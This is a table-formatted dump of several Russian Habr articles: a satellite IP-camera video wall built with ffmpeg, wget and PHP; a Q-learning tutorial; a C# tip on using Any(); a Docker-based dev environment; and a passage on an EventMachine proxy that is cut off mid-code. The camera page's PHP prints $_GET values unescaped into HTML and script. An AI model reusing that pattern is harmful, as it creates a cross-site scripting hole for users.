text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Создаем видеостену с трансляцией изображения с ip-камер через спутник с минимумом трафика
В статье рассказывается о том, как обеспечить «почти видеотрансляцию» средствами ffmpeg, wget, JS, html ~~и такой-то матери~~. По сути, мы создаем слайдшоу с аккуратным его выводом и динамическим обновлением на веб-страничке. Возможно, кому-то пригодится мой опыт.
Знающие люди не найдут в статье ничего нового для себя, но, если прочтут, я бы с удовольствием выслушал замечания по улучшению этой схемы.
##### Вступление и предыстория
Я работаю системным администратором (специалистом по сетевому обеспечению) в компании, у которой, по роду деятельности, есть около 10 филиалов, расположенных в тайге. Интернет во всех филиалах, кроме одного, самого счастливого, предоставляется через спутник. Спутниковый интернет, когда это единственный способ связи с внешним миром (кроме шуток, ближайший поселок со связью обычно километрах в 70), оказывается очень нестабильной и недешевой штукой.
Помимо прочего (почта, sip-телефония), интернет в нашей компании тратится на видеонаблюдение. Директорат очень желает наблюдать за работами в филиалах. Но трафика мало. На максимальном тарифе FAP.4000+.AST 2Гб трафика в сутки, что при наличии трех двухмегапиксельных камер просто смешно. В принципе, изображение с камер можно порезать (мы так и делаем), но все равно просмотром камер без внутренних ограничений по трафику точку легко загнать в «жесткое ограничение» (при достижении лимита суточного трафика). Одна камера при потоке 128кбит\с за сутки съест 1350мб.
Мне была поставлена задача создать для директоров своего рода «видеостену», куда бы выводились изображения со всех камер нашей фирмы. При драконовских ограничениях спутникового интернета речи про прямое получение потока с камеры не идет. Софт типа ПО от Macroscop не поддерживает перекодировку потока с камеры «на лету». Если честно, мне кажется, что Macroscop отдает своему клиенту более жирный поток, чем получает от камеры. Я экспериментировал с VLC (нестабильно, периодически плагин для браузера крашится или самопроизвольно ставит на паузу поток, жрет много ресурсов при транскодинге), ffmpeg+ffserver (так я и не завел эту связку). В итоге я пришел к идее захвата скриншотов с потока от камер и его дальнейшей передачи в центральный офис с заданной периодичностью. Все получилось, но получилось топорно и кондово. Я бы сказал дубово. Но работает. Допиливать буду в будущем.
##### Техническая часть
Камеры у нас, в основном, Beward. Есть несколько Hikvision. Все камеры (в теории, но о практике позже) поддерживают RTSP. В идеальных условиях его мы и используем. Конечную картинку всегда выдаем через ffmpeg — он подгоняет размер изображения и качество jpg, оперируя этими параметрами, мы можем управлять количеством трафика, которое утекает за сутки. Также, на количество трафика влияет частота запроса кадров с центрального сервера.
Дальше за дело берется JavaScript и немного HTML (и капельку php). На просторах интернетов был найдет скрипт на JS, который динамически обновляет картинку на странице, но только предварительно загрузив её и выловив событие OnLoad. Под это дело была подготовлена страница, которой я передаю параметры (Имя камеры, адрес её админки, ссылка на скриншот).
**Персональная страничка камеры**
```
var speed = 2;
function cam\_show()
{
var imac = document.getElementById('camimage');
var time = now();
imac.onload = function()
{
start\_show(imac, now()-time);
document.getElementById('speed').innerHTML = ((now()-time)\*(speed+5))/1000;
};
imac.src = "<?php echo ($\_GET['urlpic']) ?>?r=" + Math.random();
}
function now(){
return (new Date).getTime();
}
function start\_show(img, time)
{
setTimeout(function()
{
var ctime = now();
img.onload = function()
{
start\_show(img, now()-ctime)
document.getElementById('speed').innerHTML = ((now()-ctime)\*(speed+5))/1000;
};
img.src = "<?php echo ($\_GET['urlpic']) ?>?r=" + Math.random();
}, time\*(speed+5));
}
php error\_reporting(E\_ALL); ?
php echo "<a class='store' href=\"./cam-get.php?picwidth=60%&urladmin={$\_GET['urladmin']}&urlpic={$\_GET['urlpic']}&textpage={$\_GET['textpage']}\" target=\_blank alt=test{$\_GET['textpage']}";?>
![]() id="camimage" src="" alt="">
php echo "<div id=\"div1\" style=\"display:{$\_GET['visibletxt']}\"" ?>
php echo "<a class='store' href=\"{$\_GET['urladmin']}\" target=\_blank[Админка]";?>
php echo "<a class='store' href=\"{$\_GET['urlpic']}\" target=\_blank[Картинка отдельно]";?>
```
##### Как это все увязано
В филиалах на серверах (win 2008 r2 или win 7, если это отдельная виртуалка) установлено следующее ПО:
* nnCron Lite (виндовый планировщик мне настроить не удалось, он периодически зависал, спасало только ручное завершение всех экземпляров задания, отключение задания, включение и запуск);
* Apache 2.4;
* ffmpeg;
* wget (да, под винду, вот такой я извращенец).
nnCron запускает задания (он гораздо стабильнее планировщика задач Windows), это обычные .bat, в которых ffmpeg указано что и откуда брать и как и куда складывать. Если у камеры есть трудности с RTSP, начинаются танцы с ftp, выборкой последнего скриншота и гроханьем лишних и подстановкой правильной даты в адрес, потому что бевардовские камеры хотят класть скрины именно по адресу ддммгггг\имя\_камеры\1\\*.jpg. Безобразие, конечно, но куда деваться?
**Виндовый .bat для обработки скриншотов с камер, самостоятельно складывающих их на ftp-сервер**
```
set day=%DATE:~0,2%
set month=%DATE:~3,2%
set year=%DATE:~6,4%
set YYYYMMDD=%year%-%month%-%day%
FOR /L %%i IN (0,1,4) DO (
cd "C:\ftp\kpp\%YYYYMMDD%\kpp\1\"
c:
for /f %%i in ('dir /b /T:A /A:-D /O:-D *.jpg') do (copy /Y "%%i" "c:\ftp\copy\andat-kpp.jpg")
C:\ffmpeg\bin\ffmpeg.exe -i "c:\ftp\copy\andat-kpp.jpg" -f image2 -vframes 1 -y -q:v 15 -s 480x360 C:\Apache24\htdocs\andat-kpp.jpg
del /Q "C:\ftp\kpp\%YYYYMMDD%\kpp\1\*.jpg"
timeout /t 5 /nobreak
)
exit
```
ffmpeg складывает изображения с нужными размерами и качеством в корневую папку web-сервера. Дальше начинается работа сервера в центральном офисе, где все это складируется и подсовывается главной странице, где и размещена видеостена.
**Скрипт, вытягивающий скриншоты с филиала и складывающий старые скриншоты в архив**
```
#!/bin/sh
cd /var/www/
mkdir /var/www/archieve/
mkdir /var/www/archieve/tuhterek
mkdir /var/www/archieve/tuhterek/gep1/
mkdir /var/www/archieve/tuhterek/polygon/
cp /var/www/tuht-gep1.jpg /var/www/archieve/tuhterek/gep1/gep1-`date +-%d-%m-%Y-%H%M%S`.jpg
cp /var/www/tuht-polygon.jpg /var/www/archieve/tuhterek/polygon/polygon-`date +-%d-%m-%Y-%H%M%S`.jpg
wget http://172.30.99.80/tuht-gep1.jpg -O tuht-gep1.jpg.bak
cp tuht-gep1.jpg.bak tuht-gep1.jpg
wget http://172.30.99.80/tuht-polygon.jpg -O tuht-polygon.jpg.bak
cp tuht-polygon.jpg.bak tuht-polygon.jpg
```
**Кусочек видеостены**
```
test
test
test
test
test
test
test
test
```
Сервер периодически (несколько раз в минуту) выкачивает все скриншоты с точек, складывает вместо старых, старые уходят в архив. Ночью из архива их забирает другой скрипт, который бережно собирает все скриншоты в один ролик и именует его по дате и имени камеры.
**Скрипт, компилирующий архив скриншотов в видеоролик**
```
#!/bin/bash
tochka=$1
kamera=$2
yestday=`date +%d -d yesterday`
year=`date +%Y -d yesterday`
mes=`date +%m -d yesterday`
stime=`date +%H%M%S -d yesterday`
mkdir /var/www/archieve/video/
mkdir /var/www/archieve/video/$tochka
mkdir /var/www/archieve/video/$tochka/$kamera
mkdir /tmp/picture/
rm /tmp/picture/*
echo "$day $mes $year"
cd /var/www/archieve/$tochka/$kamera/
find * -type f -size 0k -exec rm {} \; | awk '{ print $8 }'
X=1;
for i in *.jpg; do
mv $i /tmp/picture/$(printf %07d.%s ${X%.*} ${i##*.})
let X="$X+1"
done
cd /tmp/picture/
ffmpeg -f image2 -r 1 -i %07d.jpg -y /var/www/archieve/video/$tochka/$kamera/$kamera-$yestday-$mes-$year.avi
```
**Блок-схема получения скриншотов**
##### Дальнейшие планы
Очень хотелось бы избавиться от необходимости n раз прописывать одни и те же параметры в разных скриптах. Я планирую сохранять настройки <куда-нибудь>, брать их оттуда по необходимости и автоматически генерировать нужные скрипты при добавлении нужной камеры.
Планирую прикрутить форму добавления новой камеры.
Хотелось бы все перенести на linux (не везде есть возможность сейчас развернуть виртуалки с ним, на фирме используются преимущественно Win-сервера и hyper-v).
Хотелось бы большей надежности, увеличения качества изображений и их частоты обновления, но без сильного роста трафика.
Это не самая первая версия, но ей еще далеко до совершенства. Это, можно сказать, прототип. Посему критика (конструктивная) приветствуется, а выкрики «велосипедист на костылях» — нет. Сам знаю. Но, так как готовое ПО не выполняет наши желания, приходится изворачиваться и делать самому.
##### P.S.
Об ошибках в личку, пожалуйста, или на почту.
##### UPD:
**Часть системы самодельного мониторинга**Кликабельно
Надпись «сайт доступен» выдается с помощью скрипта на php, проверяющего доступность админки камеры по http. При наведении на картинку в левом столбце всплывает полноразмерное окно.
Саму стену вставлю чуть позже. | https://habr.com/ru/post/239853/ | null | ru | null |
# не http: ссылки
Можно сделать так, что бы парсер не портил ссылки вида
`<opera:config#AutoUpdate|AutoUpdateState>`
? | https://habr.com/ru/post/49126/ | null | ru | null |
# Понимание Q-learning, проблема «Прогулка по скале»
Привет, Хабр! Предлагаю вашему вниманию перевод статьи [«Understanding Q-Learning, the Cliff Walking problem»](https://medium.com/init27-labs/understanding-q-learning-the-cliff-walking-problem-80198921abbc) автора [Lucas Vazquez](https://medium.com/@lgvaz).
В [последнем посте](https://medium.com/init27-labs/reinforcement-learning-rl-for-the-intimates-eef924cd5ee4) мы представили проблему «Прогулка по скале» и остановились на страшном алгоритме, который не имел смысла. На этот раз мы раскроем секреты этого серого ящика и увидим, что это совсем не так страшно.
### Резюме
Мы пришли к выводу, что, максимизируя сумму будущих наград, мы также находим самый быстрый путь к цели, поэтому наша цель сейчас — найти способ сделать это!
### Введение в Q-Learning
* Начнем с построения таблицы, которая измеряет, насколько хорошо будет выполнить определенное действие в любом состоянии (мы можем измерить это с помощью простого скалярного значения, поэтому чем больше значение, тем лучше действие)
* Эта таблица будет иметь одну строку для каждого состояния и один столбец для каждого действия. В нашем мире сетка имеет 48 (4 по Y на 12 по X) состояний и разрешены 4 действия (вверх, вниз, влево, вправо), поэтому таблица будет 48 x 4.
* Значения, хранящиеся в этой таблице, называются «Q-values».
* Это оценки суммы будущих наград. Другими словами, они оценивают, сколько еще вознаграждения мы можем получить до конца игры, находясь в состоянии S и выполняя действие A.
* Мы инициализируем таблицу случайными значениями (или некоторой константой, например, всеми нулями).
Оптимальная «Q-table» имеет значения, которые позволяют нам предпринимать лучшие действия в каждом состоянии, давая нам в итоге лучший путь к победе. Проблема решена, ура, Повелители Роботов :).
*Q-значения первых пяти состояний.*
#### Q-Learning
* Q-learning — это алгоритм, который «изучает» эти значения.
* На каждом шагу мы получаем больше информации о мире.
* Эта информация используется для обновления значений в таблице.
Например, предположим, что мы на расстоянии одного шага от цели (квадрат [2, 11]), и если мы решим пойти вниз, мы получим вознаграждение 0 вместо -1.
Мы можем использовать эту информацию, чтобы обновить значение пары состояние-действие в нашей таблице, и в следующий раз, когда мы посетим ее, мы уже будем знать, что движение вниз дает нам награду 0.
Теперь мы можем распространить эту информацию еще дальше! Поскольку теперь мы знаем путь к цели из квадрата [2, 11], любое действие, которое приводит нас к квадрату [2, 11], также будет хорошим, поэтому мы обновляем Q-значение квадрата, которое приводит нас к [2, 11], чтобы быть ближе к 0.
**И это, леди и джентльмены, и есть суть Q-learning!**
Обратите внимание, что каждый раз, когда мы достигаем цели, мы увеличиваем нашу «карту» того, как достичь цели на один квадрат, поэтому после достаточного количества итераций у нас будет полная карта, которая покажет нам, как добраться до цели из каждого состояния.
*Путь генерируется путем принятия лучших действий в каждом состоянии. Зеленая тональность представляет значение лучшего действия, более насыщенные тональности представляют более высокие значения. Текст представляет значение для каждого действия (вверх, вниз, вправо, влево).*
### Уравнение Беллмана
Прежде чем говорить о коде, давайте поговорим о математике: основная концепция Q-learning, уравнение Беллмана.
* Сначала давайте забудем γ в этом уравнении
* Уравнение утверждает, что значение Q для определенной пары состояние-действие должно быть наградой, полученной при переходе в новое состояние (путем выполнения этого действия), добавленной к значению наилучшего действия в следующем состоянии.
**Другими словами, мы распространяем информацию о значениях действий по одному шагу за раз!**
Но мы можем решить, что получение награды прямо сейчас более ценно, чем получение награды в будущем, и поэтому у нас есть γ, число от 0 до 1 (обычно от 0,9 до 0,99), которое умножается на награду в будущем, обесценивая будущие награды.
Итак, учитывая γ = 0,9 и применяя это к некоторым состояниям нашего мира (сетки), мы имеем:
Мы можем сравнить эти значения с приведенными выше в GIF и увидеть, что они одинаковы.
### Реализация
Теперь, когда у нас есть интуивное представление о том, как работает Q-learning, мы можем начать думать о реализации всего этого, и мы будем использовать псевдокод Q-learning из [книги Саттона](http://incompleteideas.net/book/bookdraft2017nov5.pdf) в качестве руководства.
*Псевдокод из книги Саттона.*
Код:
```
# Initialize Q arbitrarily, in this case a table full of zeros
q_values = np.zeros((num_states, num_actions))
# Iterate over 500 episodes
for _ in range(500):
state = env.reset()
done = False
# While episode is not over
while not done:
# Choose action
action = egreedy_policy(q_values, state, epsilon=0.1)
# Do the action
next_state, reward, done = env.step(action)
# Update q_values
td_target = reward + gamma * np.max(q_values[next_state])
td_error = td_target - q_values[state][action]
q_values[state][action] += learning_rate * td_error
# Update state
state = next_state
```
* Во-первых, мы говорим: «Для всех состояний и действий инициализируем Q (s, a) произвольно», это означает, что мы можем создать нашу таблицу Q-значений с любыми значениями, которые нам нравятся, они могут быть случайными, они могут быть какими-то постоянными, не имеет значения. Мы видим, что в строке 2 мы создаем таблицу, полную нулей.
**Мы также говорим: «Значение Q для конечных состояний равно нулю», мы не можем предпринимать никаких действий в конечных состояниях, поэтому мы считаем значение для всех действий в этом состоянии равным нулю.**
* Для каждого эпизода мы должны «инициализировать S», это просто причудливый способ сказать «перезагрузить игру», в нашем случае это означает поставить игрока в исходное положение; в нашем мире есть метод, который делает именно это, и мы вызывая его в строке 6.
* Для каждого временного шага (каждый раз, когда нам нужно действовать) мы должны выбрать действие, полученное из Q.
Помните, я говорил «мы предпринимаем действия, которые имеют наибольшую ценность в каждом состоянии?
Когда мы делаем это, мы используем наши Q-values для создания политики; в этом случае это будет жадная политика, потому что мы всегда предпринимаем действия, которые, по нашему мнению, лучше всего в каждом состоянии, поэтому говорится, что мы действуем жадно.
### Барахление
Но с этим подходом есть проблема: представьте, что мы находимся в лабиринте, у которого есть две награды, одна из которых +1, а другая +100 (и каждый раз, когда мы находим одну из них, игра заканчивается). Так как мы всегда предпринимаем действия, которые считаем лучшими, то мы застрянем с первой найденной наградой, всегда возвращаясь к ней, поэтому, если мы сначала узнаем награду +1, то мы упустим большую награду +100.
### Решение
Нам нужно убедиться, что мы достаточно изучили наш мир (это удивительно трудная задача). Вот где вступает в игру ε. ε в жадном алгоритме означает, что мы должны действовать жадно, НО делать случайные действия в процентном соотношении ε по времени, таким образом, при бесконечном количестве попыток мы должны исследовать все состояния.
Действие выбирается в соответствии с этой стратегией в строке 12, с epsilon = 0.1, что означает, что мы занимаемся исследованиями мира 10% времени. Реализация политики осуществляется следующим образом:
```
def egreedy_policy(q_values, state, epsilon=0.1):
# Get a random number from a uniform distribution between 0 and 1,
# if the number is lower than epsilon choose a random action
if np.random.random() < epsilon:
return np.random.choice(4)
# Else choose the action with the highest value
else:
return np.argmax(q_values[state])
```
В строке 14 в первом листинге мы вызываем метод step для выполнения действия, мир возвращает нам следующее состояние, награду и информацию об окончании игры.
Вернемся к математике:
У нас есть длинное уравнение, давайте подумаем о нем:
Если мы примем α = 1:
Что в точности совпадает с уравнением Беллмана, которое мы видели несколько абзацев назад! Так что мы уже сейчас знаем, что это строка, ответственная за распространение информации о значениях состояний.
Но обычно α (в основном известная как скорость обучения) намного меньше 1, его основная цель — избежать больших изменений в одном обновлении, поэтому вместо того, чтобы лететь в цель, мы медленно приближаемся к ней. В нашем табличном подходе установка α = 1 не вызывает никаких проблем, но при работе с нейронными сетями (подробнее об этом в следующих статьях) все может легко выйти из-под контроля.
Глядя на код, мы видим, что в строке 16 в первом листинге мы определили td\_target, это значение, к которому мы должны приблизиться, но вместо прямого перехода к этому значению в строке 17 мы вычисляем td\_error, мы будем использовать это значение в сочетании со скоростью обучения, чтобы медленно двигаться к цели.
**Помните, что это уравнение является сущностью Q-Learning.**
Теперь нам просто нужно обновить наше состояние, и все готово, это строка 20. Мы повторяем этот процесс, пока не достигнем конца эпизода, умирая в скалах или достигая цели.
### Заключение
Теперь мы интуитивно понимаем и знаем, как кодировать Q-Learning (по крайней мере, табличный вариант), обязательно проверьте весь код, использованный для этого поста, доступный на [GitHub](https://github.com/lgvaz/blog/blob/master/rl_intro.ipynb).
Визуализация испытания процесса обучения:
Обратите внимание, что все действия начинаются со значения, превышающего его окончательное значение, это хитрость для стимулирования исследований мира. | https://habr.com/ru/post/443240/ | null | ru | null |
# Проверки на пустые перечисления
Недавно, во время разбора кода одной программы я заметил метод, который выглядел примерно так:
> `public void Foo(IEnumerable items)
>
> {
>
> if(items == null || items.Count() == 0)
>
> {
>
> // Оповестить о пустом перечислении
>
> }
>
> }`
Метод принимает дженерик-перечисление и проверяет, пустое ли оно. Видите ли вы тут потенциальную проблему? Я намекну, проблема в этой строчке:
```
items.Count() == 0
```
И в чем же тут проблема? Проблема в том, что эта строчка может оказаться очень неэффективной.
Если вызвать наш метод, передав ему перечисление, которое не реализует *ICollection* (например, *IQueryable* результат запроса к Entity Framework или LINQ to SQL), метод *Count()* будет перебирать всю коллекцию ради выполнения этой проверки.
В случае, когда перечисление реализует *ICollection*, все в порядке. Метод *Count()* оптимизирован для таких случаев и проверит *свойство Count*.
Если говорить человеческим языком, то наша строчка отвечает на вопрос «*Количество в перечислении равно нулю?*». Но это вовсе не то, что нас интересует. На самом деле нам нужно ответить на вопрос «*Есть ли в перечислении хотя бы один элемент?*».
Если подойти к задаче таким образом, то решение станет очевидным: использовать расширение *Any* из пространства имен *System.Linq*.
> `public void Foo(IEnumerable items)
>
> {
>
> if(items == null || !items.Any())
>
> {
>
> // Оповестить о пустом перечислении
>
> }
>
> }`
Красота такого метода в том, что ему достаточно вызвать *MoveNext* интерфейса *IEnumerable* только один раз! У вас может быть бесконечно большое перечисление, но *Any* вернет результат немедленно.
Еще лучше было бы, поскольку такая проверка используется постоянно, подумать над реализацией своего простого метода-расширения:
> `public static bool IsNullOrEmpty(this IEnumerable items)
>
> {
>
> return items == null || !items.Any();
>
> }`
Теперь, с таким методом, исходный код выглядит еще проще:
> `public void Foo(IEnumerable items)
>
> {
>
> if(items.IsNullOrEmpty())
>
> {
>
> // Оповестить о пустом перечислении
>
> }
>
> }`
С таким методом-расширением в своем инструментарии, вы никогда снова не проверите пустоту перечисления неэффективно. | https://habr.com/ru/post/97464/ | null | ru | null |
# Создание окружения для веб-разработки на основе Docker
Под катом расскажу как я усовершенствовал автоматическое создание и разворачивание окружения для веб-разработки на основе **Docker**, **Fig**, **DNSMasq** и **nsenter**. По сути, это разворачивание LAMP сервера и запись о нем в DNSMasq, но приоритетами являются незасоренность хост-машины ненужным софтом типа web-, db-серверов на хост машине и минимальное количество команд для запуска
Предисловие
===========
В предыдущей статье <http://habrahabr.ru/post/236573/> я рассказывал как организовать быстрое разворачивание окружения для веб-разработки на основе *VirtualBox*, тогда же, более опытные хабрапользователи посоветовали мне посмотреть в сторону Docker. После этого я открыл ман и начал экспериментировать, собрав для себя три контейнера с разными версиями *PHP* (*5.3*, *5.4* и *5.5*), которыми успешно и удобно пользовался. Было желание в будущем переписать bootstrap-скрипт на более вменяемом языке и как-то все это организовать да написать ман. Но, как всегда, руки к этому не доходили и, скорее всего, никогда бы не дошли если бы на кануне Рождества я случайно не удалил бы домашнюю директорию *docker*-а. Да, бывает. В итоге все было переписано, переорганизовано и выложено на *GitHub*.
Что нам потребуется?
====================
1. Docker.IO (<https://www.docker.com/>)
2. fig (<http://www.fig.sh>)
3. DNSMasq (<http://www.thekelleys.org.uk/dnsmasq/doc.html>)
4. nsenter (<https://github.com/jpetazzo/nsenter>)
Что происходит?
===============
При запуске через скрипт с помощью `fig` разворачиваются и линкуются все нужные контейнеры. После этого, если указан файл с дампом базы, дамп заливается в созданную БД в контейнере. Далее добавляются записи о контейнерах в конфиг *DNSMasq* и перезапускается демон.
При выключении с помощью скрипта база данных обратно дампится в файл, убираются записи из конфига *DNSMasq* и перезапускается демон.
Как это настроить?
==================
Требуется минимальная настройка *DNSMasq*:
```
# cat /etc/dnsmasq.conf | grep -E -v '^(#.*)?$'
listen-address=127.0.0.1
```
Для работы всего этого добра клонируем репозиторий <https://github.com/dvapelnik/efig> и ищем там папочку `.efig`, которую кладем в папку с проектом. В этой папке уже есть:
1. `logs` — директория для логов веб-сервера
2. `xd_profile`, `xd_trace` — две директории для файлов XDebug
3. `db` — директория для работы с базами данных с двумя скриптами для деплоя и бекапа
4. `efig.yml` — конфиг для fig
5. `efig.conf` — конфиг самого efig
6. `httpd.conf` — конфиг apache2
7. `efig.sh` — сам скрипт efig для работы
В `efig.yml` нужно указать название базы данных, имя пользователя для базы данных и пароль. Если нужно, то и базу данных для тестов. Для того, база данных корректно разворачивалась и дампилась обратно следует указать как связаны названия баз данных с файлами с дампами.
| | |
| --- | --- |
| `E_DB_DUMP` | имя файла для основной базы данных |
| `E_DB_NAME` | имя основной базы данных |
| `E_DB_TEST_DUMP` | имя файла тестовой базы данных |
| `E_DB_TEST_NAME` | имя тестовой базы данных |
Если тестовая база данных не нужна, то две последние строки можем комментировать и убрать имя тестовой базы данных из переменной `DB_NAME`. Файлы с дампами будут искаться относительно папки `db`.
`httpd.conf` конфигурируем для своего приложения.
В `efig.conf` указываются следующие значения
| | |
| --- | --- |
| `PROJECT_NAME` | название проекта (будет использовано в *URL*) |
| `FIG_CONF` | имя конфига для `fig` |
| `SUBDOMAINS_ENABLED` | нужно ли создавать поддомены для каждого контейнера |
| `DNS_ZONE` | DNS зона для проектов, изначально используется `.doc` |
| `MAIN_CONTAINER_NAME` | имя главного контейнера, изначально `web` (берем с `fig`-конфига) |
| `DB_CONTAINER_NAME` | имя контейнера ДБ, изначально `db` (берем с `fig`-конфига) |
| `DNSMASQ_CONFIG_PATH` | путь к конфигу *DNSMasq* |
**Дополнение к SUBDOMAINS\_ENABLED**Например, чтобы к контейнеру БД можно было обращаться по доменному имени (например, <http://db.myproject.doc/>, а не по IP, который постоянно будет изменять при каждом запуске).
А теперь ~~со всеми этими конфигами, папками и скриптами мы попробуем взлететь~~ попробуем запустить
====================================================================================================
Для того, чтобы взлететь, нужно перейти в папку `.efig` и запустить скрипт через `sudo`:
```
sudo ./efig.sh
```
В это время запускаются контейнеры, разворачиваются БД, дописываются в `/etc/dnsmasq.conf` записи о новых контейнерах и перезапускается демон. После этого можем смело заходить по ссылочке в браузере <http://project.doc/> и наблюдать свой проект уже в браузере.
Для того, чтобы отключить-удалить контейнеры и обратно забекапить базы пишем, находять в той же папке (`.efig`), следующее:
```
sudo ./efig.sh rm
```
Базы сдампятся обратно в файлы, контейнеры остановятся и удалятся — все чисто, как и задумывалось.
Какие образы необходимо использовать для контейнеров?
=====================================================
В качестве веб-контейнеров советую использовать образы, которые однообразно конфигурировались (на *DockerHub* доступны образы, основанные на *Debian*/*Ubuntu* с раными версиями *PHP* (5.3, 5.4, 5.5, 5.6)). Пакеты для *PHP* подбирались с учетом требованый YiiFramework (1, 2), При необходимости можно добавить и другие, необходимые для разработки, пакеты. В качетсве db-контейнеров я использую образ от sameersbn.
А попрактиковаться?
===================
Можете попробовать развернуть, к примеру, ту же *Joomla CMS* (она первой пришла мне в голову как CMS, которую легко развернуть и она сама сгенерирует БД):
1. Клонируем репоз `efig` с гитхаба
2. Тянем архив *Joomla CMS*
3. Распаковываем
4. Копируем `.efig` в папку с *Joomla CMS*
5. Указываем в `.efig/efig.yml` параметры для БД
6. Запускаем это дело `cd .efig/ && sudo bash ./efig.sh`
7. ~~Радуемся жизни~~ Смотрим/устанавливаем
8. Останавливаем-удаляем `cd .efig/ && sudo bash ./efig.sh rm`
Прошлое, настоящее и будущее?
=============================
Как минимум, это писалось для себя чтобы умпростить разворачивание приложений хотя бы для того, чтобы запустить. Не знаю как кого, но меня утруждает создавать где-то новый поддомен и выливать туда файлы или использовать подпапки для разных проектов. К тому же хотелось иметь все 4 версии *PHP*. По мере запросов и своих потребностей я буду допиливать то, что уже есть. Планирую прикрутить поддержку *PostgreSQL*, но поскольку сам его пока не использую, то и не прикручивал. Скрипт обкатывался на *Ubuntu OS*, но я не думаю, что на других Linux-дистрибутивах должны возникнуть проблемы. Проверить на других дистрибутивах возможности не было.
Ссылки?
=======
1. Репозиторий проекта на *GitHub*: <https://github.com/dvapelnik/efig>
2. Репозиторий образов для *Docker* на *GitHub*: <https://github.com/dvapelnik/docker-lap>
3. Репозиторий образов для *Docker* на *DockerHub*: <https://registry.hub.docker.com/u/dvapelnik/docker-lap/>
Подводные камни?
================
1. Если дампа базы нет и база генерируется сама (миграции, разворачивание как у *Joomla CSM*, прочее), то при отключении контейнеров база сдампится, но сдампится она под пользователем *root*. Это вызвано тем, что в контейнереми дампим фактически под рутов контейнера. Можно перед запуском создать пустой файл, в который будет сдамплена БД при выключении — вот такой workaroud. Аналогичная ситуация с веб-контейнерами. Если монтировать в контейнер папку, то все файлы, которые будут создаваться **из** контейнера, будут созданы рутом. Описываю workaround, который использовал я: в контейнере создается пользователь *donkey* с таким UID и GID, как у моего пользователя, под которым я буду вести разработку. Он у меня равен 1000. Если UID і GID вашего пользователя отличается от 1000, то нужно взять соответствующий Dockerfile и заменить там UID и GID этого пользователя и пересобрать образ. Для э образов баз данных это не особо критично, но при дампе это вылезает боком. Потому такой костыль.
2. Возникает резонный вопрос: как добраться до базы данных внутри контейнера? Логично и именно для этого я сделал опцию для создания доменных имен всем контейнерам `SUBDOMAINS_ENABLED`. Если флаг установлен `1`, то для всех контейнеров будет создано по записи в конфиге *DNSMasq* в виде `CONTAINER_NAME.PROJECT_NAME.DNS_ZONE`. Контейнер выплевывает наружу порт для доступа к базам и к ним можно добраться, используя этот домен, порт и данные о пользователе, которые были прописаны в `efig.conf` | https://habr.com/ru/post/247547/ | null | ru | null |
# EventMachine прокси демон
Несмотря на то, что [EventMachine](http://rubyeventmachine.com/) достаточно удобный фреймворк для написания высокопроизводительных и хорошо масштабирующихся сетевых приложений, интернет не радует обилием примеров его использования и тестирования. А те примеры, которые существуют, например, на хабре, не будут корректно работать, так как не учитывают особенности передачи данных (почему-то не учитывают, что данные, в общем случае, передаются по частям). Собственно, данная статья предназначена для тех, кто ознакомился с базовыми принципами работы EM, например, в статье [Ruby и EventMachine](http://habrahabr.ru/blogs/ruby/106809/) , и хочет узнать как на его основе написать что-нибудь посложнее и как затем тестировать код, полученный в результате.
Недавно мне прислали тестовое задание, суть которого заключалась в написании прокси демона на EM, который бы асинхронно принимал соединения от клиентов через unix domain socket, выстраивал их в очередь и перенаправлял эти команды на socket, подключенный к какой-то абстрактной системе, и, получив ответ от этой системы, отсылал бы их обратно клиентам. Формат клиентского сообщения — {id: 1, text: «req1»}, которое должны быть преобразовано сервером в ответ — {id: 1, text: «answ1»}.
Для упрощения задачи, клиентов и абстрактную систему я эмулировал также с помощью EM, что позволило использовать встроенный протокол передачи данных [EM::P::ObjectProtocol](http://eventmachine.rubyforge.org/EventMachine/Protocols/ObjectProtocol.html), который учитывает, что данные могут принимается не за единичный тик реактора, а также сериализует данные для передачи.
Начнем с написания кода клиента. При установлении соединения клиента с прокси демоном происходит вызов функции **post\_init**, в которой клиент с помощью **send\_object** отсылает сообщение в виде хеша.
Затем ждет ответа от демона, и выводит его в консоль. Так как было необходимо эмулировать подключения сразу нескольких клиентов, были введены переменные, хранящие данные о количестве соединений и количестве клиентов, которые уже получили ответ и были отсоединены от демона. Общее количество соединений хранится в константе **TOTAL\_CONNECTIONS**, которая устанавливается при запуске клиентов. Когда клиента отсоединяет от сервера происходит вызов **unbind**. Когда все клиенты получают ответ, реактор останавливается.
`module EMClient
include EM::P::ObjectProtocol
@@connection_number = 0
@@dissconnected = 0
#send request as the connection has been established
def post\_init
@@connection_number += 1
send_object({'id'=> rand(10), 'text' => "req#{@@connection\_number}"})
end
def receive\_object(obj)
#display response from server
p obj.inspect
end
def unbind
@@dissconnected += 1
#stop reactor after all requests have been processed
EM.stop if @@dissconnected == TOTAL_CONNECTIONS
end
end`
Далее код сервера, эмулирующего работу абстрактной системы. Его задача — получить объект, преобразовать его и отправить обратно. С помощью **EM.add\_time()** можно отсрочить выполнение блока кода, передаваемого вторым аргументом функции, в данном случае ответа на запрос со стороны демона.
`module SocketServer
include EM::P::ObjectProtocol
def receive\_object(obj)
#emulation of job on server
EM.add_timer(1+rand(5)) do
#validation of obj goes here))
obj['text'].sub!(/req/,'answ')
send_object(obj)
end
p "Server received object: #{obj.inspect}"
end
end`
А теперь перейдем к более интересной части, созданию очереди сообщений сообщений и пула соединений с абстрактным сервером. Для это был использован класс [EM::Queue](http://eventmachine.rubyforge.org/EventMachine/Queue.html), который располагает двумя методами **pop(\*a, &b)** и **push(\*items)**, позволяющими добавлять элементы в очередь и доставать их из неё. Метод **pop** принимает последним аргументом блок кода, который будет исполнен, когда в очереди появится элемент.
Для установления соединения с сервером, использовался модуль **EMConnection**, в котором был определен метод **send\_request(obj, █)** , суть которого заключается в отправке сообщения сервера и передаче блока, который будет выполнен при получении ответа от сервера.
Класс **ConnectionPool** отвечает за создания пула соединений. При его инициализации определятся размер пула и происходит инициализация очереди. Затем в методе **start\_queue** устанавливается заданное количество соединений и для каждой соединения запускается worker (**queue\_worker\_loop**), который представляется собой proc, принимающий соединения как аргумент. Суть его работы заключается в получении из очереди элемента, представляющего из себя объект, который должен быть отослан серверу, и блок кода, который должен быть выполнен после получения объекта. Причем, после выполнения этого блока кода proc вызывает сам себя, таким образом получается некое подобие бесконечного цикла.
`module EMConnection
include EM::P::ObjectProtocol
def receive\_object(obj)
#calling callback on object receiving
@callback.**call**(obj)
end
def send\_request obj, █
#sending data to server and setting callback
